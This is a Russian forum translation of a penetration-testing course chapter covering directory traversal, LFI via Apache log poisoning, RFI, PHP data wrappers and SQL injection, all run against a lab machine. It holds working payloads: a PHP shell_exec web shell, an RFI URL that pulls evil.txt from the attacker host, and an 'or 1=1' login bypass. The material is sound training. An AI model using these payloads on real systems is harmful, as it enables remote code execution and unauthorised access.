Статья PWK-(9) Атаки на веб-приложения (Часть 2/2)

disclaimer: Данный материал является свободным (приближенным к оригиналу) переводом методического материала PWK, в частности Глава 9. Атаки на веб-приложения. В связи с закрытым форматом распространения данного материала убедительная просьба ознакомившихся с ней не осуществлять свободное распространение содержимого статьи, чтобы не ставить под удар других участников форума. Приятного чтения.

Уязвимости Directory Traversal

Уязвимости (смещение по каталогам), также известные как уязвимости path traversal, позволяют злоумышленникам получить несанкционированный доступ к файлам в приложении или файлам, которые обычно недоступны через веб-интерфейс, например, за пределами корневого веб-каталога приложения. Эта уязвимость возникает, когда вводимые данные плохо фильтруются, что впоследствии дает злоумышленнику возможность манипулировать путями к файлам с помощью символов «../» или «..\».

Эти атаки могут раскрыть конфиденциальную информацию, но они не выполняют код на сервере приложений. На определенных серверах приложений, написанных на определенных языках программирования, атаки directory traversal могут использоваться для облегчения атак типа включение файлов (file inclusion). Хотя методы, используемые для выявления этих двух типов уязвимостей, частично совпадают, их результаты различаются. Сначала рассмотрим методы directory traversal, а уязвимости, связанные с включением файлов, в следующем разделе.

Обнаружение и эксплуатация Directory Traversals

Поиск уязвимости directory traversals начинается с изучения строк запроса URL и содержимого форм в поисках значений, которые являются ссылками на файлы, в том числе по наиболее распространенному индикатору: расширению файлов в строках URL запроса.

После того, как были определены несколько вероятных кандидатов, можно изменить эти значения, чтобы попытаться сослаться на файлы, которые должны быть доступны для чтения любым пользователем в системе, например /etc/passwd в Linux или c:\boot.ini в Windows.

Вернемся к примеру приложения на лабораторном компьютере с Windows 10, чтобы продемонстрировать эту уязвимость. Перед продолжением запустим Apache и MySQL.

На главной веб-странице нажмите "Menu", чтобы отобразить пример меню:

Identifying_and_Exploiting_Directory_Traversals_1.png

Рисунок 1: Поиск файлов

После нажатия ссылки "Menu" URL-адрес обновляется и содержит параметр с именем file со значением "current_menu.php". Расширение файла в значении параметра обычно является хорошим признаком того, что необходимо продолжить исследование, поскольку оно предполагает, что текст или код включаются из другого ресурса. Большинство обходов каталогов не столь очевидны, но довольно много старых приложений PHP загружают страницы аналогичным образом.

Не зная, как выглядит код, можно начать ковыряться в нем, изменив значение file. Если изменить "current_menu.php" на что-то вроде "old.php", будет получена ошибку вместо меню:

Identifying_and_Exploiting_Directory_Traversals_2.png

Рисунок 2: Генерация ошибки в приложении

Обратите внимание, что сообщение об ошибке указывает, что серверу не удалось открыть файл для включения, и возвращает полный путь к файлу. Это говорит о том, что, вероятно, можно управлять отображаемым на странице содержимым, манипулируя параметром file. Если бы не была известна используемая операционная система на атакуемом компьютере, то данная ошибка подсказала бы нам, что это Windows. Она также включает информацию об исходном каталоге приложения. Информация об ОС имеет решающее значение при эксплуатации уязвимости directory traversal.

Поскольку известно, что приложение работает в Windows, изменим пейлоад, указав файл hosts в Windows. Этот файл - отличная мишень, поскольку он присутствет в любой версии Windows и доступен любому пользователю..

Изменим значение параметра на c:\windows\system32\drivers\etc\hosts и отправим URL:

Код:
http://10.11.0.22/menu.php?file=c:\windows\system32\drivers\etc\hosts
Листинг 1 - Обновление URL-адреса для Windows файла hosts

После отправки этого URL-адреса в браузере страница начинает отображать содержимое файла hosts:

Identifying_and_Exploiting_Directory_Traversals_3.png

Рисунок 3: Попытка проэксплуатировать уязвимость Directory Traversal

Отлично. Похоже, что эта уязвимость directory traversal позволяет читать файлы любого типа, в том числе файлы вне корневого веб-каталога.

Уязвимости включения файлов

В отличие от уязвимости directory traversals, при которой просто отображается содержимое файла, , позволяют злоумышленнику включить файл в работающий код приложения.

Чтобы воспользоваться уязвимостью, связанной с включением файлов, необходимо иметь возможность не только выполнять код, но и где-то записать пейлоад с шеллом.

Local file inclusions (LFI) - уязвимость, когда включаемый файл загружается с того же веб-сервера. Remote file inclusions (RFI) - уязвимость, когда файл загружается из внешнего источника. Эти уязвимости обычно встречаются в приложениях PHP, но могут встречаться и в других языках программирования.

Эксплуатация этих уязвимостей зависит от языка программирования, на котором написано приложение, и конфигурации сервера. В случае PHP версия языковой среды выполнения и конфигурации веб-сервера, в частности значения php.ini, такие как врапперы register_globals и allow_url, существенно влияют на то, как можно использовать эти уязвимости.

Файл php.ini на лабораторном компьютере с Windows 10 находится по адресу C:\xampp\php\php.ini. Прежде чем вносить какие-либо изменения в этот файл, создайте резервную копию.

Обратите внимание, что уязвимости directory traversal часто используются вместе с LFI, в частности, для указания файла, используемого в качестве пейлоада LFI.

Выявление уязвимостей, связанных с включением файлов

Включение файлов можно обнаружить так же, как и directory traversals. Необходимо найти параметры, которыми можно манипулировать, и попытаться использовать их для загрузки произвольных файлов. Однако включение файла - это более комплексное действие, поскольку осуществляется попытка выполнить содержимое файла в приложении.

Необходимо также проверить эти параметры, чтобы понять, уязвимы ли они для RFI, изменив их значения на URL-адрес вместо локального пути. Шансов найти уязвимости RFI сильно меньше, поскольку конфигурация по умолчанию для современных версий PHP отключает использование внешних URL-адресов, ключевую функцию, необходимую для выполнения удаленного кода. Тем не менее, все равно необходимо тестировать на наличие RFI, поскольку их часто проще использовать, чем LFI. Можно использовать Netcat, Apache или Python для обработки запроса, как это было сделано с XSS. Возможно, придется попробовать разместить пэйлоады на разных портах, поскольку любое удаленное соединение, инициированное сервером, может фильтроваться внутренними межсетевыми экранами или правилами маршрутизации. Возможно прийдется прибегнуть к методу проб и ошибок.

Эксплуатация Local File Inclusion (LFI)

Вернемся к образцу приложения на лабораторном компьютере с Windows 10. Продолжим с того места, где остановились, атака directory traversal, и взглянем на исходный код menu.php, чтобы прояснить, с чем имеем дело:

PHP:
37 <?php
38 $file = $_GET["file"];
39 include $file; ?>
Листинг 2 - Отрывок кода из menu.php

Приложение считывает параметр file из строки запроса, а затем использует это значение с помощью оператора . Это означает, что приложение выполнит любой PHP-код в указанном файле. Если приложение открыло файл с помощью fread и использовало echo для отображения содержимого, любой код из файле будет отображаться на экране вместо выполнения.

Можно было бы развить эту уязвимость до удаленного выполнения кода (remote code execution), если бы каким-то образом можно было бы записывать PHP-код в локальный файл. Но поскольку не доступна загрузка файла на сервер, какие есть еще варианты?

Заражение log-файлов

Один из способов, которым можно попытаться внедрить код на сервер - это отравление (poisoning) файла журнала. Большинство application-серверов регистрируют все запрошенные URL-адреса. Можно использовать это в своих интересах, отправив запрос, содержащий код PHP. После того, как запрос зарегистрирован, можно использовать log-файл в качестве LFI пейлоада.

Инструменты, используемые в этом модуле, в частности Dirb, могут заполнить log-файлы Apache большим количеством мусорной информации. Следующие шаги в этом разделе легче увидеть и понять, если log-файлы будут оставаться относительно чистыми. Воспользуемся скриптом Documents/clear_logs.ps1 в клиенте Windows 10 для очистки содержимого log-файлов Apache.

Можно запустить скрипт с параметром -ExecutionPolicy Bypass, чтобы временно разрешить неподписанные скрипты, и параметром -File clear_logs.ps1, чтобы указать скрипт для выполнения:

Bash:
C:\Users\admin\Documents> powershell -ExecutionPolicy Bypass -File clear_logs.ps1
Листинг 3 - Запуск скрипта PS1 для очистки log-файлов Apache

Затем с помощью Netcat подключимся к лабораторному компьютеру с Windows 10 через порт 80 с интересным пейлоадом. Давайте пройдемся по компонентам этого пейлоада.

Сперва, обратите внимание, что весь пейлоад написан на PHP: он начинается с <?php и заканчивается ?>. Основная часть полезной нагрузки PHP - это простая команда echo, которая печатат вывод на страницу. Этот вывод сначала оборачивается в HTML теги pre, которые сохраняют любые разрывы строк или форматирование в результатах вызова функции. Далее идет сам вызов функции shell_exec, который выполняет команду ОС. Наконец, команда ОС извлекается из параметра "cmd" запроса GET с помощью _GET['cmd']. Эта единственная строка PHP позволит задать команду ОС через запрос и вывести результаты в браузере.

Теперь отправим этот пейлоад:

Bash:
kali@kali:~$ nc -nv 10.11.0.22 80
(UNKNOWN) [10.11.0.22] 80 (http) open
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>

HTTP/1.1 400 Bad Request
Листинг 4 - Использование Netcat для отправки пейлоада PHP

Несмотря на (сгенерированную из-за того, что не был отправлен действительный HTTP-запрос), можно убедиться, что запрос был доставлен, проверив log-файлы Apache на лабораторном компьютере с Windows 10.

Возможно просмотреть эти логи, открыв файл C:\xampp\apache\logs\access.log или используя панель управления XAMPP.

Пейлоад должен находиться в конце log-файла:

Код:
10.11.0.4 - - [30/Nov/2019:13:55:12 -0500]
"GET /css/bootstrap.min.css HTTP/1.1" 200 155758 "http://10.11.0.22/menu.php?file=\\Windows\\System32\\drivers\\etc\\hosts" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
10.11.0.4 - - [30/Nov/2019:13:58:07 -0500] "GET /tacotruck.php HTTP/1.1" 200 1189 "http://10.11.0.22/menu.php?file=/" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
10.11.0.4 - - [30/Nov/2019:14:01:41 -0500] ""<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>\n" 400 981 "-" "-"
Листинг 5 - Файл access.log Apache

Поскольку пейлоад был успешно записан в log-файл, можно попытаться выполнить LFI.

Выполнение кода LFI

Теперь воспользуемся уязвимостью LFI, чтобы использовать файл Apache access.log, содержащий PHP пейлоад. Известно, что приложение использует оператор include, поэтому содержимое используемого файла будет выполняться как PHP-код.

Создадим URL-адрес, который будет включать местоположение лога, а также команду, которая будет выполняться (ipconfig), отправленную как значение параметра cmd.

Код:
http://10.11.0.22/menu.php?file=c:\xampp\apache\logs\access.log&cmd=ipconfig
Листинг 6 - Использование зараженного log-файла

После отправки URL-адреса на веб-сервер результат должен получится примерно такой:

LFI_Code_Execution_1.PNG

Рисунок 4: Выполнение кода с помощью LFI уязвимости

Если все работает, как ожидалось, внизу страницы должен появиться результат вывода команды `ipconfig`.

Так что же именно здесь произошло? Благодаря оператору PHP приложения include и возможности указать, какой файл использовать (Листинг 2), содержимое зараженного файла access.log было выполнено на веб-странице.

Движок PHP, в свою очередь, запускает часть текста log-файла <?php echo shell_exec($_GET[‘cmd’]);?> (пейлоад) со значением параметра cmd "ipconfig", по сути, выполняя ipconfig на цели и возвращение полученного вывода. Дополнительные строки в файле журнала просто отображаются, так как не содержат допустимого PHP кода.

Это определенно не то, что задумал разработчик!

Теперь, когда было продемонстрировано, как добиться выполнения кода с помощью отравления log-файла, должна появиться возможность получить шелл в системе.

Remote File Inclusion (RFI)

Уязвимости Remote file inclusion (RFI) менее распространены, чем LFI, поскольку сервер должен быть настроен очень специфическим образом, но их обычно легче использовать. Например, приложения PHP должны быть настроены с параметром allow_url_include, установленным в состояние "On". В старых версиях PHP этот параметр включен по умолчанию, но в более новых версиях по умолчанию установлено состояние "Off". Если получится заставить веб-приложение загрузить удаленный файл и выполнить код, то будет более гибкий пейлоад при создании эксплойта.

Посмотрим на пример уязвимости RFI. Показанная ранее уязвимость LFI также уязвима для RFI. Обратите внимание на следующую запись:

Код:
http://10.11.0.22/menu.php?file=http://10.11.0.4/evil.txt
Листинг 7 - Использование параметра file для RFI пейлоада

Этот запрос заставит веб-сервер PHP попытаться прочитать удаленный файл с атакующей машины Kali. Можно проверить результат, запустив листенер netcat на машине с Kali, а затем отправив URL-адрес цели с Windows 10:

Bash:
kali@kali:~$ sudo nc -nvlp 80
listening on [any] 80 ...
connect to [10.11.0.4] from (UNKNOWN) [10.11.0.22] 50324
GET /evil.txt HTTP/1.0
Host: 10.11.0.4
Connection: close
Листинг 8 - Использование листенера Netcat для проверки RFI

Выходные данные показывают, что при отправке URL-адреса машина с Windows 10 действительно обратилась к машине с Kali в попытке получить файл evil.txt. Если бы файл был получен, атакуемая машина предприняла бы дальнейшие попытки прочитать и выполнить его.

Это простой пример, URL-адрес действителен и процесс работает, что позволяет злоумышленнику загружать и выполнять любой файл, размещенный на удаленном веб-сервере.

В более старых версиях PHP есть уязвимость, при которой (%00) завершает любую строку. Этот прием можно использовать для обхода расширений файлов, добавленных на стороне сервера, и он полезен для включения файлов, поскольку он предотвращает рассмотрение расширения файла как части строки. Другими словами, если приложение считывает параметр и добавляет к нему ".php", нулевой байт, переданный в параметре, фактически завершает строку без расширения ".php". Это дает злоумышленнику большую гибкость в выборе файлов, которые могут быть загружены с уязвимостью включения файлов.

Еще одна хитрость для пейлоада RFI - заканчивать их знаком вопроса (?), чтобы отмечать все, что добавляется к URL-адресу на стороне сервера, как часть строки запроса.

Чтобы увидеть это в действии, можно разместить на сервере Apache вредоносный файла evil.txt с тем же PHP-шелом, который был использован в атаке с отравлением log-журнала. После создания файла обновим Apache с помощью быстрого перезапуска:

Bash:
kali@kali:/var/www/html$ cat evil.txt
<?php echo shell_exec($_GET['cmd']); ?>
kali@kali:/var/www/html$ sudo systemctl restart apache2
Листинг 9 - Создание RFI пейлоада и запуск Apache

После того, как файл будет размещен и веб-сервер запущен, можно отправить атакующий RFI URL-адрес уязвимому веб-приложению на компьютере с Windows 10 и посмотреть, выполняется ли код:

Код:
http://10.11.0.22/menu.php?file=http://10.11.0.4/evil.txt&cmd=ipconfig
Листинг 10 - Эксплуатируя уязвимость RFI

Remote_File_Inclusion.png

Рисунок 5: Эксплуатируя уязвимость RFI

Превосходно. Эксплойт работает. Код был прочитан с удаленного сервера и успешно выполнен. Это очень простой веб-шелл.

Веб-шелл (веб-оболочка) - это небольшая программа, которая предоставляет веб-интерфейс командной строки, что упрощает и делает более удобным выполнение команд. Существует много типов веб-оболочек, и Kali включает несколько в /usr/share/webshells, написанных на многих распространенных языках программирования веб-приложений. Реомендуем изучить содержимое этих файлов перед их использованием.

Основываясь на успешности этих простых примеров, можно использовать Apache (или другой HTTP-сервер) с этими оболочками при RFI, расширяя свои возможности.

Теперь, когда имеется возможность выполнять код на сервере, несложно перейти от выполнения кода к шеллу при помощи веб-оболочек, имеющихся в Kali Linux.

Расширяем свой репертуар

Теперь, когда , были изучены основы, посмотрим, как расширить свои возможности.

Во-первых, посмотрим на некоторые альтернативы Apache.

Kali включает несколько инструментов, которые могут создавать HTTP-серверы. Это особенно полезно, если нужно быстро установить HTTP-серверы на произвольных портах.

Обратите внимание, что в следующих примерах используются зарегистрированные порты, но также возможно запустить серверы на системных портах, если запустим команды с правами пользователя root.

Например, можно запустить HTTP-сервер на произвольном порту в Python 2.x, установив параметр -m SimpleHTTPServer для установки желаемого модуля и параметр 7331 для установки TCP-порта:

Bash:
kali@kali:~$ python -m SimpleHTTPServer 7331
Serving HTTP on 0.0.0.0 port 7331 ...
Листинг 11 - Использование Python 2 для запуска HTTP-сервера на порту 7331

Синтаксис Python 3.x немного отличается в связи с переименованием модуля:

Bash:
kali@kali:~$ python3 -m http.server 7331
Serving HTTP on 0.0.0.0 port 7331 (http://0.0.0.0:7331/) ...
Листинг 12 - Использование Python 3 для запуска HTTP-сервера на порту 7331

Обе команды запустят HTTP-сервер и будут хостить любые файлы или директории из текущего рабочего каталога.

PHP включает встроенный веб-сервер, который можно запустить с параметром -S, за которым следует адрес и порт для использования:

Bash:
kali@kali:~$ php -S 0.0.0.0:8000
PHP 7.3.8-1 Development Server started at Wed Aug 28 12:59:52 2019
Listening on http://0.0.0.0:8000
Document root is /home/kali
Press Ctrl-C to quit.
Листинг 13 - Использование PHP для запуска HTTP-сервера на порту 8000

Также можно запустить HTTP-сервер "однострочником" Ruby. Для этой команды требуется несколько параметров: -run для загрузки un.rb, который содержит замены для общих команд Unix, -e httpd для запуска HTTP-сервера, "." (точка) для использования контента из текущего каталога и -p 9000 для установки порта TCP:

Bash:
kali@kali:~$ ruby -run -e httpd . -p 9000
[2019-08-28 12:44:14] INFO WEBrick 1.4.2
[2019-08-28 12:44:14] INFO ruby 2.5.5 (2019-03-15) [x86_64-linux-gnu]
[2019-08-28 12:44:14] INFO WEBrick::HTTPServer#start: pid=1367 port=9000
Листинг 14 - Использование Ruby для запуска HTTP-сервера на порту 9000

Также можно использовать команду busybox, "швейцарский армейский нож встроенный в Linux", с параметром httpd для запуска HTTP-сервера в качестве функции, параметром -f для интерактивного запуска и параметром -p 10000 для работы на TCP-порту 10000:

Bash:
kali@kali:~$ busybox httpd -f -p 10000
Листинг 15 - Использование BusyBox для запуска HTTP-сервера на порту 10000

Чтобы остановить любой из этих серверов, можно просто нажать Ctrl+C.

Теперь обсудим PHP врапперы.

PHP врапперы

В PHP имеется несколько для различных протоколов, которые можно использовать для эксплуатации уязвимостей directory traversal и LFI. Данные фильтры дают дополнительную гибкость при попытке внедрить PHP-код через уязвимости LFI.

Можно использовать чтобы вставить встраиваемые данные в URL-адрес простым текстом (plaintext) или использовать данные, закодированные в . Этот враппер предоставляет альтернативный пейлоад, когда нет возможности отравить локальный файл с помощью кода PHP.

Подробнее рассмотрим, как использовать data-враппер. Начинаем с "data:", за которым следует тип данных. В этом случае будем использовать "text/plain". После этого ставим "," (запятую), чтобы отметить начало содержимого, в данном случае "hello world". Когда все сложено вместе, получаем "data:text/plain,hello world".

Уже известно, что страница меню уязвима для атак LFI. Если отправлять пейлоад с помощью data-враппера, приложение должно обработать его так же, как обычный файл, и включить его в содержимое страницы. Проверим, работает ли это, отправив следующий URL:

Код:
http://10.11.0.22/menu.php?file=data:text/plain,hello world
Листинг 16 - Тестовый пэйлоад с использованием data-враппера

Посмотрим, как это отобразится:

PHP_Wrappers_1.png

Рисунок 6: Проверка работоспособности data-враппера

Как и предполагалось, приложение обработало враппер данных, как если бы это был файл, и включило его в содержимое страницы, отображая строку "hello world".

Поскольку data-враппер с открытым текстом отработал, давайте посмотрим, что еще можно с этим сделать. Известно, что на этой странице есть уязвимость LFI, и предыдущий пример доказывает, что можно внедрять контент с помощью data-враппера. Заменим "hello world" на какой-нибудь PHP-код и проверим, выполнится ли он. Будем использовать shell_exec для запуска команды dir, заключив ее в теги PHP. Таким образом, URL-адрес выглядит так:

Код:
http://10.11.0.22/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>
Листинг 17 - Пример LFI пэйлоада с использованием data-враппера

Отправим его и посмотрим, сработает ли это:

PHP_Wrappers_2.png

Рисунок 7: Эксплуататция LFI с использованием data-враппера

Превосходно. Код PHP, который был включен в data-враппер, выполнился на стороне сервера, создав список каталогов. Теперь можно эксплуатировать LFI, не манипулируя какими-либо локальными файлами.

SQL-инъекция

- это распространенная уязвимость веб-приложений, вызванная тем, что в вставляются необработанные пользовательские данные и впоследствии запрос передается в базу данных для выполнения. Запросы используются для взаимодействия с базой данных, например для вставки или извлечения данных. Если получится ввести вредоносное содержимое в запрос, появится возможность "выбраться" из исходного запроса, сделанного разработчиками, и внедрить свои собственные вредоносные команды.

Данный тип уязвимости может привести к утечке информации из базы данных и, в зависимости от среды, может привести к полной компрометации сервера.

В данном разделе рассмотрим атаки с применением SQL-инъекций в среде PHP/MariaDB. Хотя принципы атаки одинаковы для других сред, синтаксис, используемый во время атаки, может потребовать актуалиизации для соответствия различным ядрам баз данных или скриптовым языкам.

MariaDB очень похож на MySQL. На самом деле, это начиналось как форк MySQL. Хотя есть некоторые малозначительные отличия, большинство из них не имеют значения для атакующего.

Базовый синтаксис SQL

- это основной язык, используемый для взаимодействия с реляционными базами данных. Хотя для SQL существует стандартный синтаксис, большинство пакетов программного обеспечения баз данных имеют некоторые особенности в реализации. Однако базовые части в целом одинаковые. Рассмотрим некоторые основные концепции и , прежде чем переходить к эксплуатации.

Реляционная база данных состоит из одной или нескольких таблиц, и каждая таблица имеет один или несколько столбцов. Каждая запись в таблице называется строкой. Посмотрим на пример:

SQL:
+----+------------+--------------+
| id | username   | password     |
+----+------------+--------------+
|  1 | tom.jones  | notunusual   |
Листинг 18 - Пример таблицы users

В Листинге 18 имеются столбцы: id, имя пользователя (username) и пароль (password). Есть одна строка данных для пользователя с именем пользователя tom.jones и паролем notunusual.

В большинстве случаев будем иметь дело с запросами (queries). Запросы - это инструкции для ядра базы данных, которая используется для извлечения или управления данными в базе данных. Запрос SELECT - это самая базовая команда взаимодействия:

SQL:
SELECT * FROM users;
Листинг 19 - Простейший запрос select

Можно перефразировать запрос из Листинга 19 как "покажите все столбцы и записи из таблице users". Первым аргументом команды SELECT является столбец, а звездочка * - это специальный символ, который означает "все" (all).

Также имеется возможность указать условия для запроса, добавив условный оператор WHERE:

SQL:
SELECT username FROM users WHERE id=1;
Листинг 20 - Запрос select с условием where

Можем перефразировать запрос из Листинга 20 как "покажите поле username из таблицы users, отобразив только записи с id равным 1".

Это лишь некоторые из базовых моментов. Также можно вставлять (INSERT), обновлять (UPDATE) и удалять (DELETE) данные в таблицах. Не будем здесь рассматривать эти операторы, но далее, при использовании SQL-инъекций, рассмотрим дополнительный синтаксис SQL по необходимости.

Выявление уязвимостей SQL-инъекций

Прежде чем сможем найти уязвимости SQL-инъекций, необходимо сначала определить места, где данные взаимодействуют с базой данных. Аутентификация обычно поддерживается базой данных, и в зависимости от характера веб-приложения другие области, включая товары на сайте электронной коммерции или цепочки сообщений на форуме, чаще всего требуют взаимодействия с базой данных.

Можно использовать одинарную кавычку (’), которую SQL использует в качестве разделителя строк, как простую проверку на потенциальные уязвимости SQL-инъекций. Если приложение не обрабатывает этот символ правильно, это, скорее всего, приведет к ошибке в работе базы данных и может указывать на наличие уязвимости SQL-инъекции. Зная это, обычно начинаем атаку с ввода одной кавычки в каждое поле, в отношении которого есть подозрение, что из него могут передаваться значения в базу данных. Данный метод проб и ошибок используется при .

Если есть доступ к исходному коду приложения, можно проверить его на предмет запросов SQL, построенных путем конкатенации строк. В PHP это может выглядеть примерно так:

PHP:
$query = "select * from users where username = '$user' and password = '$pass'";
Листинг 21 - Пример PHP кода с SQL запросом

Если пользовательские данные включены в оператор SQL без какой-либо проверки, вероятность внедрения SQL-кода очень высока. Разберемся с этим на нескольких примерах. При обычном входе в систему пользователь может указать "Tom" и "password123" в качестве имени пользователя и пароля. Таким образом, код будет выглядеть так:

PHP:
$query = "select * from users where username = 'Tom' and password = 'password123'";
Листинг 22 - Пример кода с нормальным процессом аутентификации

Обратите внимание, как отправленные значения заключены в одинарные кавычки. Посмотрим, что произойдет, если в качестве значения будет отправлена одинарная кавычка:

PHP:
$query = "select * from users where username =''' and password = 'password123' ";
Листинг 23 - Пример кода с пэйлоадом SQL-уязвимости

Поскольку в качестве разделителей используются одинарные кавычки, приведенный выше запрос читается как пустое имя пользователя, а затем неуместная строка "and password =", что создает синтаксическую ошибку. Если веб-приложение настроенно показывать сообщения об ошибках на своих страницах, получим вывод, подобный следующему:

Код:
Notice: invalid query: You have an error in your SQL syntax; check the manual that cor responds to your MariaDB server version for the right syntax to use near 'password123' ' at line 1 in C:\xampp\htdocs\login.php on line 20
Листинг 24 - Пример сообщения об ошибке SQL

Это сообщение об ошибке оповещает о нескольких вещах: была вызвана ошибка в операторе SQL, программное обеспечение базы данных - MariaDB, а на сервере работает XAMPP в Windows. Посмотрим, как можно использовать эту уязвимость, чтобы получить доступ к странице администратора.

Обход аутентификации

Обход аутентификации - классический пример использования уязвимости SQL-инъекции, который демонстрирует опасность злонамеренных пользователей, играющих с вашей базой данных. Рассмотрим пример кода из предыдущего раздела. Если сможем внедрить собственный код в оператор SQL, то как можно изменить запрос в свою пользу?

Вот нормальный вариант использования: легитимный пользователь отправляет в приложение свое имя пользователя и пароль. Приложение запрашивает базу данных, используя эти значения. В операторе SQL в условии where используется логический операторы and. Следовательно, база данных будет возвращать только записи, у которых есть пользователь с данным именем пользователя и соответствующим паролем.

Таким образом, SQL-запрос для нормального входа в систему выглядит так:

SQL:
select * from users where name = 'tom' and password = 'jones';
Листинг 25 - Пример запроса на вход

Если возможно управлять значением, передаваемым для $user, можно нарушить логику запроса, отправив tom’ or 1=1;# в качестве имени пользователя, что создает такой запрос:

SQL:
select * from users where name = 'tom' or 1=1;#' and password = 'jones';
Листинг 26 - Пример запроса на вход с пэйлоадом SQL-инъекции

Символ решетки (#) - это маркер комментария в MySQL/MariaDB. Он фактически исключает часть утверждения, поэтому получаем такую исполняемую часть:

SQL:
select * from users where name = 'tom' or 1=1;
Листинг 27 - Пример исполняемого запроса

Можно перефразировать это как "покажи мне все столбцы и строки для пользователей с именем tom или где единица равна единице". Поскольку условие "1=1" всегда оценивается как true, будут возвращены все строки без исключения. Короче говоря, введя условие or и условие "1=1", это утверждение вернет все записи в таблице users, осуществив валидную "проверку пароля".

Достаточно ли этого для обхода аутентификации? Возможно. Был изменен запрос, чтобы вернуть все записи в таблице пользователей. Код приложения определяет, что будет дальше. В некоторых языках программирования есть функции, которые запрашивают базу данных и ожидают единственной записи. Если эти функции получат более одной строки, они выдадут ошибку. Другие функции могут нормально обрабатывать несколько строк. Не известно, чего ожидать, без исходного кода приложения или использования метода проб и ошибок.

Если действительно возникают ошибки, когда пэйлоад возвращает несколько строк, можно указать запросу, чтобы он возвращал фиксированное количество записей с помощью оператора LIMIT:

SQL:
select * from users where name = 'tom' or 1=1 LIMIT 1;#
Листинг 28 - Пример запроса с оператором LIMIT

Чтобы поэкспериментировать с этими запросами и их влиянием на базу данных, можно напрямую подключиться к базе данных на лабораторном компьютере с Windows 10 с именем пользователя MySQL и паролем root/root и выполнить SQL-запросы:

Код:
c:\xampp\mysql\bin> mysql -u root -p root
...

MariaDB [(none)]> use webappdb;
Database changed

MariaDB [webappdb]> select * from users;
+----+----------+--------------+
| id | username | password     |
+----+----------+--------------+
|  1 | admin    | p@ssw0rd     |
|  2 | jigsaw   | footworklure |
+----+----------+--------------+
2 rows in set (0.01 sec)

MariaDB [webappdb]>
Листинг 29 - Подключение к экземпляру MariaDB

Теперь попробуем это на примере приложения и попытаемся войти в систему без действительных учетных данных. Должна иметься возможность обмануть приложение, чтобы оно пропустило нас без пароля, включив условие "or 1=1 LIMIT 1;" и закомментировав остальную часть запроса. Не известно точно, как выглядит запрос, но условие "or" будет иметь значение true и, следовательно, приведет к тому, что запрос будет возвращать записи. Добавим оператор LIMIT, чтобы было проще, и возвращалась только одна запись. Отправим пэйлоад в поле "username":

Authentication_Bypass_1.png

Рисунок 8: Эксплуатация SQL-инъекций

Если запрос был успешно изменен, будет получен действующий аутентифицированный сеанс:

Authentication_Bypass_2.png

Рисунок 9: Получение доступа к странице администратора

Неплохо. Получилось обойти аутентификацию этого приложения! Изучим исходный код, чтобы полностью понять, что здесь происходит:

PHP:
11     <?php
12         session_start();
13         include "database.php";
14         if ( ! empty( $_POST ) ) {
15             if (isset($_POST['username']) && isset($_POST['password']) ) {
16                 $sql="select * from users where username ='" . $_POST['username'] . "' and password = '" . $_POST['password'] . "'";
17
18                 $result = $conn->query($sql);
19                 if(!$result) {
20                     trigger_error("invalid query: " . $conn->error);
21                 }
22                 if( $result->num_rows == 1 ) {
23                     $_SESSION['user'] = $_POST['username'];
24                     header("Location:admin.php");
25                 } else {
26                     echo "<div class=\"alert alert-danger\">Wrong username or password</div>";
27                 }
28             }
29
30         }
31     ?>
Листинг 30 - Отрывок кода из login.php

В строке 16 Листинга 30 значения параметров username и password, отправленные через POST, напрямую добавляются к строке, содержащей запрос SQL. Обычно запрос возвращает результаты только в том случае, если отправлено действительное имя пользователя и связанный с ним пароль. Пэйлоад SQL-инъекции «выходит за пределы» предполагаемого запроса и вводит условие "OR", которое заставляет запрос возвращать строки, даже если имя пользователя и пароль неверны.

Строка 22 проверяет, является ли результат запроса одной строкой. Если отправлено неверное имя пользователя или пароль, запрос не вернет ни одной строки. Если будут отправлены действительные имя пользователя и пароль, запрос вернет одну строку. Разработчик приложения предположил, что этого достаточно, чтобы определить, следует ли аутентифицировать пользователя, строка 23 сохранит имя пользователя в состоянии сеанса, а строка 24 перенаправит пользователя на admin.php.

Пришлось включить условие "LIMIT", чтобы пройти проверку в строке 22. Злоумышленники не обязательно узнают об этом, не увидев исходный код, поэтому экспериментирование очень важно при тестировании методом черного ящика.

Как можно избежать SQL-инъекции? Простейший подход может заключаться в удалении всех символов одиночных кавычек при очистке пользовательского ввода. Однако иногда одинарные кавычки, например в фамилии, следует рассматривать как допустимые.

Наилучшим практикой является использование параметризованных запросов, также известных как
. Эта функция позволяет разработчику помещать параметры или заполнители в свои SQL инструкции. Затем пользовательский ввод предоставляется вместе с инструкцией, и база данных связывает значения с ней, создавая уровень разделения между кодом SQL инструкции и значениями данных. Это предотвращает манипулирование данными, предоставленными пользователем, с кодом SQL. Большинство основных систем баз данных и языков программирования поддерживают подготовленные инструкции.

Сбор информации о базе данных

Также можно использовать SQL-инъекции для сбора информации о базе данных. Эта информация понадобится, когда начнем создавать более сложные пэйлоады SQL-инъекций. Например, необходимо узнать имена столбцов и таблиц, если собираемся извлекать из них данные. Это поможет выполнить более точное извлечение данных.

Рассмотрим некоторые методы получения этой информации из приложения.

Предыдущая форма входа в систему не подходит для демонстрации этого примера, поэтому обратимся к странице debug.php, который также содержит уязвимость SQL-инъекции, как показано в этом коде:

PHP:
$sql = "SELECT id, name, text FROM feedback WHERE id=". $_GET['id'];
Листинг 31 - SQL запрос со страницы debug

Можно проверить, уязвима ли эта страница, добавив одинарную кавычку в качестве значения параметра id:

Enumerating_the_Database_1.png

Рисунок 10: Еще одно сообщение об ошибке SQL

Это приводит к синтаксической ошибке SQL, указывающей на наличие потенциальной уязвимости SQL-инъекции.

Сбор информации о количестве столбцов

Можно добавить к запросу условие order by для простейшего сбора информации. Это условие указывает базе данных сортировать результаты запроса по значениям в одном или нескольких столбцах. Можно использовать имена столбцов или индекс столбца в запросе.

Отправим следующий URL:

Код:
http://10.11.0.22/debug.php?id=1 order by 1
Листинг 32 - Добавление оператора "order by"

